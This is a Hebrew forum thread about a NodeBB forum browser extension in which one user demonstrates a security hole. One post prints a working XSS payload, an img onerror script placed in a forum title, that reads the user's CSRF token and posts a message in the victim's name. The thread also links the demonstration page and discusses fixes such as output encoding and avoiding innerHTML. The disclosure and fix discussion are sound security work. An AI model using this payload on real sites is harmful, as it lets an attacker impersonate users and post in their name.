שיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!

[יאיר דניאל]

@קראנץ-ונילה התקנת את התוסף שלו???
זה מופיע בגלל התוסף שלו

[קראנץ' ונילה]

@יאיר-דניאל
התקנתי, אבל יש לך כאלו שלא נמצאים בתוסף
(למשל הכפתור של היד, הספר, המצפן, והידיים שלוחצות אחת לשנייה) מה זה?

[kasnik]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

מרכז הפורומים – צפייה בכל הנושאים שלא נקראו מכל הפורומים שאתם חברים בהם במקום אחד. כולל זיהוי אוטו' של פורומים חדשים. (קרדיט: @יאנג-בוי)

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

1. גרסת התוסף
   בגרסה זו תקבלו תפריט הגדרות נוח שמאפשר להפעיל/לכבות כל פיצ'ר בנפרד.
   להורדה מהחנות

@יאנג-בוי כתב בשיתוף | קבלת 'נושאים שלא נקראו' מכלל הפורומים:

הסקריפט ניתן לשימוש חופשי, ניתן להשתמש בקוד שלו לכל שימוש, ואף להפצה מחדש (גם בלי קרדיט; אבל תתנו, מה אכפת לכם... אז מה אם לא כתבתי כלום, עדיין השקעתי זמן על זה...) בתנאי שהוא נשאר כסקריפט לטמפרמונקי, ולא נארז לתוסף כרום בשום אופן!
גם אם אתם מהמוזרים שאוהבים שהכרום שלהם מלא בתוספים, אני לא רוצה יד בזה. והסקריפט הזה הוא קריאת השכמה לכל מפתחי התוספים כאן בפורום.

[לאצי]

@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...

@kasnik אל דאגה, שאלתיו לפני שיצרתי זאת.

[ע"ה דכו"ע]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

@CSS-0 מכיוון שהפוסט המקורי של @cfopuser נמחק אשמח אם מישהו יסביר לי מה הלך פה...

@cfopuser יצר פורום נוזקה, שכאשר מוסיפים אותו למרכז הפורומים בתוסף שלך, הוא שולח בשם המשתמש בקשת API לכתיבת פוסט חדש.

הוא בא להראות לך שצריך להוסיף אבטחה בתוסף שפורומים שנוספים לא יוכלו להזריק קוד ע"י התוסף.

זה https://cfopuser.----github.io/forum/ הקישור לפורום, וההזרקה היא בכותרת הפורום

[בנימין מחשבים]

ויש לציין שלדבריו זוהי רק פירצה אחת מיני רבות בתוסף.
להרגשתי צפוי לנו פרק ב' מרתק

@קרט כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

להבהיר את בנקודה

Spoiler

רק @cfopuser יפרוץ לניקים ויכתוב בשמם הודעות
אבל לא יטרח לתקן שגיאת כתיב בטקסט שנשלח בשמם...
או שזו סוג של חתימה

עריכה - @יאנג-בוי ברול הבא למועדון

[יאנג בוי]

מרתק!
אחלה @cfopuser

@בנימין-מחשבים אני הבנתיאת זה כבר מהשרשור, ורק רציתי לראות את זה קורה בלייב...
כמובן שעברתי על הקוד לפני לראות שהוא רק כולל את הPOST ולא דברים נוספים...

[לאצי]

@ע-ה-דכו-ע אשמח אם תסיר את הקישור לפורום בכדי למנוע פוסטים נוספים כאלה.
@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).

[kasnik]

@לאצי ואני אשמח באם החגיגה תמשיך

[ע"ה דכו"ע]

@לאצי כתב בשיתוף | נודביבי פלוס - כלים שימושיים לפורומי נודביבי!:

@cfopuser אשמח אם תסיר את הנוזקה. (אם כי אשמח לקבל את קוד המקור).

הנוזקה נמצאת בקישור שהבאתי, זה לא כזו נוזקה רצינית, ס"ה הוא הגדיר את המאפיין title לקוד הבא:

<title>&lt;img src=x onerror="const token = config.csrf_token; 
    fetch('/api/v3/topics/94984', {
        method: 'POST',
        headers: { 'x-csrf-token': token, 'Content-Type': 'application/json' },
        body: JSON.stringify({ content: 'שלום כאן @cfopuser רציתי לומר שיש כמה באגים עם התוסף שצריכים טיפול
        אז נא להזהר
        
        @לאצי רק באתי להבהיר את בנקודה הכול בהומור' })
    });
"&gt;</title>

[המלאך]

@לאצי חשוב לציין שלפי דברי @cfopuser יש שם פרצות אבטחה הרבה יותר חמורות מזה.

Spoiler

ג"א מצטרף לדברי @בנימין-מחשבים אני ממש מצפה לפרק ב'...

[מים אחרונים]

@המלאך הנוזקה עדיין פעילה?
עריכה, לכאורה לא... כי התקנתי... והוספתי את הפורום ולא השתנה כלום

[מים אחרונים]

פוסט זה נמחק!

[המלאך]

@מים-אחרונים לא אני עשיתי את הנוזקה אלא @cfopuser .
אם היא לא פעילה זה קשור אליו.
עריכה: היא כן פעילה..
@לאצי תוציא עדכון אבטחה שעושה רק קידוד פלט.
לא מעביר את כל התוכן ישירות.

[מים אחרונים]

@המלאך מה צריך לעשות בשביל לראות אותה?

כשאני כותב פוסט, היא אמורה לצוץ לא?

[מים אחרונים]

פוסט זה נמחק!

[מים אחרונים]

אוקי, זה לא קורה מיד בעצם, זה קורה אחרי כמה דקות..?
מעניין אותי ללמוד מה קורה כאן!
@cfopuser תוכל להסביר?

[cfopuser]

@מים-אחרונים אתה יכול ללכת להגדרות מרכז הפורומים.

@לאצי בול אופן, לא פרצה מורכבת יש עוד כמה פרצות אבל שיותר קשה לזייף דרך נושא מוגדר,
והחזרים זדוניים של הapi,
בכול אופן בחרתי בזה כי זה הכי קל להדגים בפשטות.

כול תוסף של ai, יכול להכיל פרצות לכן המינימום הנדרש זה לא להשתמש בדברים כמו inner.html כדי להציג טקסט ועוד הדבר רק יגרום לצרות.
Cאופן כללי יש להיזהר בפיתוח על ידי ai.

זה הפוסט המקורי למי ששאל בכול אופן אני ימחק את האתר עכשיו ככה שאין כול כך עניין בדבר.
כנ"ל לגבי הפוסטים בנושא נראה לי העניין מוצה.

Spoiler

לכול מי שלא עובד לו מרכז הפורומים,
הפתרון זה ללכת לפורום שאותו אתם רוצים להוסיף לדוג' הפורום הזה (זה סתם פורום לבדיקה),
להוסיף אותו למאגר (בלחיצה על כן),
לאחר מכן ללכת למרכז הפורומים וללכת שמה בהגדרות וללחוץ על הפורום שהוספתם.

||

טוב זה המסר על תוספי ai אני מניח תיזהרו חברים

[קרט]

@cfopuser אם אני יכנס עכשיו להגדרות זה יעשה את זה עוד פעם?

[cfopuser]

@קרט תבדוק
אני ימחק את זה עוד מספר דקות.